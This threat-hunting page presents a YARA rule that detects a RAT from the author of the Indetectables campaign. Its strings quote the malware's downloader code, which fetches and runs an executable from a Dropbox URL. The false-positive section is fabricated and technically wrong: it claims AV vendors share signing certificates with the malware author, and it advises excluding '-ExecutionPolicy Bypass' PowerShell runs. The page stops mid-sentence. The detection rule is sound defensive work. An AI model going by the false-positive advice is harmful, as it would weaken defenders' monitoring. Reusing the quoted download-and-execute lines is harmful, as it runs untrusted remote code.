Detects a malware from the same author as the Indetectables RAT

Hunt Hypothesis

This hunt targets adversary behavior involving the deployment of remote access trojans (RATs) developed by the same threat actor behind the Indetectables campaign, which often exhibit similar code signatures and command-and-control patterns. Proactively hunting for these artifacts in Azure Sentinel is critical to identify early-stage lateral movement or data exfiltration attempts that may bypass initial signature-based defenses due to their low-severity classification.

YARA Rule

rule BergSilva_Malware : RAT {
	meta:
		description = "Detects a malware from the same author as the Indetectables RAT"
		author = "Florian Roth"
		date = "2015-10-01"
		super_rule = 1
		hash1 = "00e175cbad629ee118d01c49c11f3d8b8840350d2dd6d16bd81e47ae926f641e"
		hash2 = "6b4cbbee296e4a0e867302f783d25d276b888b1bf1dcab9170e205d276c22cfc"
	strings:
		$x1 = "C:\\Users\\Berg Silva\\Desktop\\" wide
		$x2 = "URLDownloadToFileA 0, \"https://dl.dropbox.com/u/105015858/nome.exe\", \"c:\\nome.exe\", 0, 0" fullword wide

		$s1 = " Process.Start (Path.GetTempPath() & \"name\" & \".exe\") 'start server baixado" fullword wide
		$s2 = "FileDelete(@TempDir & \"\\nome.exe\") ;Deleta o Arquivo para que possa ser executado normalmente" fullword wide
		$s3 = " Lib \"\\WINDOWS\\system32\\UsEr32.dLl\"" fullword wide
		$s4 = "$Directory = @TempDir & \"\\nome.exe\" ;Define a variavel" fullword wide
		$s5 = "https://dl.dropbox.com/u/105015858" wide
	condition:
		uint16(0) == 0x5a4d and ( 1 of ($x*) or 2 of ($s*) )
}

Deployment Notes

This YARA rule can be deployed in the following contexts:

• Microsoft Defender for Endpoint — Custom indicators / advanced hunting
• Email Gateway — Attachment scanning
• File Share Monitoring — Periodic scanning of shared drives
• YARA CLI — Manual threat hunting on endpoints

This rule contains 8 string patterns in its detection logic.

• Source Rule

False Positive Guidance

Here are 5 specific false positive scenarios for the rule “Detects a malware from the same author as the Indetectables RAT”, along with recommended filters or exclusions:

• Scenario: Deployment of Enterprise Antivirus Agents

  • Context: The organization uses an endpoint protection suite (e.g., CrowdStrike, SentinelOne, or Microsoft Defender) where the vendor shares a digital certificate chain or code signing authority similar to the Indetectables RAT. During a scheduled monthly patch cycle, the deployment engine pushes updated agent binaries across all workstations.
  • Filter/Exclusion: Create an exclusion for files located in C:\Program Files\ and C:\Windows\System32\ directories that are signed by the specific enterprise AV vendor’s certificate thumbprint, specifically excluding file hashes matching the latest agent version (e.g., *.exe, *.dll).

• Scenario: Execution of Scheduled PowerShell Maintenance Scripts

  • Context: A System Administrator runs a recurring scheduled task (Task Scheduler) that executes a PowerShell script to clean temporary files and update local group policies. The script invokes the System.Management.Automation module, which loads a DLL signed by the same author as the Indetectables RAT (often a common Microsoft or .NET framework signer).
  • Filter/Exclusion: Exclude processes with the command line argument containing -ExecutionPolicy Bypass or -File that originate from the C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe path, provided the parent process is svchost.exe (Service Host) running under the NT AUTHORITY\SYSTEM account.

• Scenario: Installation of Third-Party Remote Support Tools

  • Context: The IT Helpdesk team utilizes a remote access solution like BeyondTrust, TeamViewer, or Splashtop. These